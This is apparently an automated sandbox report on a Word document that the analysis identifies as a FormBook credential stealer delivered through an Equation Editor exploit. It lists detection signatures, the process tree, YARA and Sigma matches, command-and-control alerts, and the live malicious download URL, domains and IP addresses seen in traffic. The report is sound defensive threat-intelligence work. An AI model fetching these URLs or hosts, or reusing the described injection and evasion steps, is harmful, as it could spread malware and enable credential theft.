Edit tour

Windows Analysis Report
Doc PI.doc

Overview

General Information

Sample name:	Doc PI.doc
Analysis ID:	1444130
MD5:	05296d88142eb2e6929ab8f1f5131e18
SHA1:	c242cc72aeb237706ac7a8af3f250d6772091589
SHA256:	7d4ab5a581de7b1243a23c4383bb962d530bfc85c67f48e094b82301d1ff0654
Tags:	doc
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic

Yara detected FormBook

.NET source code references suspicious native API functions

Document exploit detected (process start blacklist hit)

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sigma detected: Equation Editor Network Connection

Sigma detected: Suspicious Microsoft Office Child Process

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches the installation path of Mozilla Firefox

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 1784 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1596 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

loud89334.scr (PID: 3088 cmdline: "C:\Users\user\AppData\Roaming\loud89334.scr" MD5: ED7336086B1E5267C0D4863325956BE2)

loud89334.scr (PID: 3120 cmdline: "C:\Users\user\AppData\Roaming\loud89334.scr" MD5: ED7336086B1E5267C0D4863325956BE2)

sQNFFcxirzZbXqUULewCRS.exe (PID: 2952 cmdline: "C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

dfrgui.exe (PID: 3240 cmdline: "C:\Windows\SysWOW64\dfrgui.exe" MD5: FB036244DBD2FADC225AD8650886B641)

sQNFFcxirzZbXqUULewCRS.exe (PID: 2108 cmdline: "C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 3632 cmdline: "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe" MD5: C2D924CE9EA2EE3E7B7E6A7C476619CA)

EQNEDT32.EXE (PID: 3260 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Doc PI.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0xb985:$obj2: \objdata 0xb9a1:$obj3: \objupdate 0xb960:$obj6: \objlink

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x311de:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1b05d:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ea03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x18882:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.370449287.0000000004C80000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6d26b:$x1: In$J$ct0r
0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x54da5:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x3ec24:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x242c48:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x22cac7:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x242c48:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x22cac7:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.loud89334.scr.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.loud89334.scr.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.loud89334.scr.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ea03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x18882:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
6.2.loud89334.scr.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2dc03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17a82:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
5.2.loud89334.scr.4c80000.5.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6d26b:$x1: In$J$ct0r
5.2.loud89334.scr.341a370.4.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6b46b:$x1: In$J$ct0r
5.2.loud89334.scr.4c80000.5.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6b46b:$x1: In$J$ct0r
5.2.loud89334.scr.23f79d0.3.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xa491c:$x1: In$J$ct0r 0xa58cc:$a1: WriteProcessMemory 0xa5958:$a1: WriteProcessMemory 0xa5a2c:$a4: VirtualAllocEx 0xa5c50:$a4: VirtualAllocEx 0xa5cd0:$a4: VirtualAllocEx
5.2.loud89334.scr.23fa210.2.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xa20dc:$x1: In$J$ct0r 0xa308c:$a1: WriteProcessMemory 0xa3118:$a1: WriteProcessMemory 0xa31ec:$a4: VirtualAllocEx 0xa3410:$a4: VirtualAllocEx 0xa3490:$a4: VirtualAllocEx
5.2.loud89334.scr.341a370.4.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6d26b:$x1: In$J$ct0r
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.74.191, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1596, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\loud89334.scr", CommandLine: "C:\Users\user\AppData\Roaming\loud89334.scr", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\loud89334.scr, NewProcessName: C:\Users\user\AppData\Roaming\loud89334.scr, OriginalFileName: C:\Users\user\AppData\Roaming\loud89334.scr, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1596, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\loud89334.scr", ProcessId: 3088, ProcessName: loud89334.scr

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1596, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1596, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1596, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 1784, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Snort Signatures

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 66.96.161.166

Timestamp:	05/20/24-08:54:20.390882
SID:	2855465
Source Port:	49165
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 91.195.240.19

Timestamp:	05/20/24-08:55:35.008862
SID:	2855465
Source Port:	49179
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 194.9.94.86

Timestamp:	05/20/24-08:55:21.654726
SID:	2855465
Source Port:	49175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 198.12.241.35

Timestamp:	05/20/24-08:55:48.350016
SID:	2855465
Source Port:	49183
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://universalmovies.top/v	Avira URL Cloud: Label: phishing
Source: http://www.terelprime.com/ufuh/?84O0=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&-Hc=N8_LbDFHuLL4ejZ	Avira URL Cloud: Label: malware
Source: https://universalmovies.top/loudzx.scr	Avira URL Cloud: Label: phishing
Source: https://universalmovies.top/loudzx.scrj	Avira URL Cloud: Label: phishing
Source: https://universalmovies.top/loudzx.scrkkC:	Avira URL Cloud: Label: phishing
Source: https://universalmovies.top/	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: universalmovies.top	Virustotal: Detection: 21%	Perma Link
Source: https://universalmovies.top/loudzx.scr	Virustotal: Detection: 17%	Perma Link
Source: https://universalmovies.top/	Virustotal: Detection: 21%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\loud89334.scr	ReversingLabs: Detection: 15%

Multi AV Scanner detection for submitted file

Source: Doc PI.doc	ReversingLabs: Detection: 36%
Source: Doc PI.doc	Virustotal: Detection: 41%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 6.2.loud89334.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loud89334.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 104.21.74.191 Port: 443			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 104.21.74.191 Port: 443			Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\loud89334.scr
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\loud89334.scr			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown

HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49164 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: loud89334.scr, 00000005.00000002.370217484.00000000023A1000.00000004.00000800.00020000.00000000.sdmp, loud89334.scr, 00000005.00000002.370034664.0000000000620000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dfrgui.pdb source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394123184.00000000009D0000.00000004.00000001.00020000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394273812.0000000000FA0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000002.635533344.000000000139E000.00000002.00000001.01000000.00000009.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000000.419589131.000000000139E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: dfrgui.pdb2D source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394123184.00000000009D0000.00000004.00000001.00020000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000003.394273812.0000000000FA0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: loud89334.scr, loud89334.scr, 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.635736352.0000000002220000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000003.407159126.0000000000660000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000003.407445701.0000000001F10000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.635736352.00000000020A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: >.pdb'<project></project>File source: loud89334.scr, 00000005.00000000.359382718.0000000000AB2000.00000020.00000001.01000000.00000004.sdmp, dfrgui.exe, 00000008.00000002.635447198.0000000000660000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000294C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000000.419606909.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.000000000067C000.00000004.80000000.00040000.00000000.sdmp, loudzx[1].scr.2.dr, loud89334.scr.2.dr

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: www.besthomeincome24.com
Source: global traffic	DNS query: name: www.terelprime.com
Source: global traffic	DNS query: name: www.sqlite.org
Source: global traffic	DNS query: name: www.sqlite.org
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.kinkynerdspro.blog
Source: global traffic	DNS query: name: www.xn--matfrmn-jxa4m.se
Source: global traffic	DNS query: name: www.primeplay88.org
Source: global traffic	DNS query: name: www.aceautocorp.com

Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 54.38.220.85:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 194.9.94.86:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 91.195.240.19:80
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 198.12.241.35:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
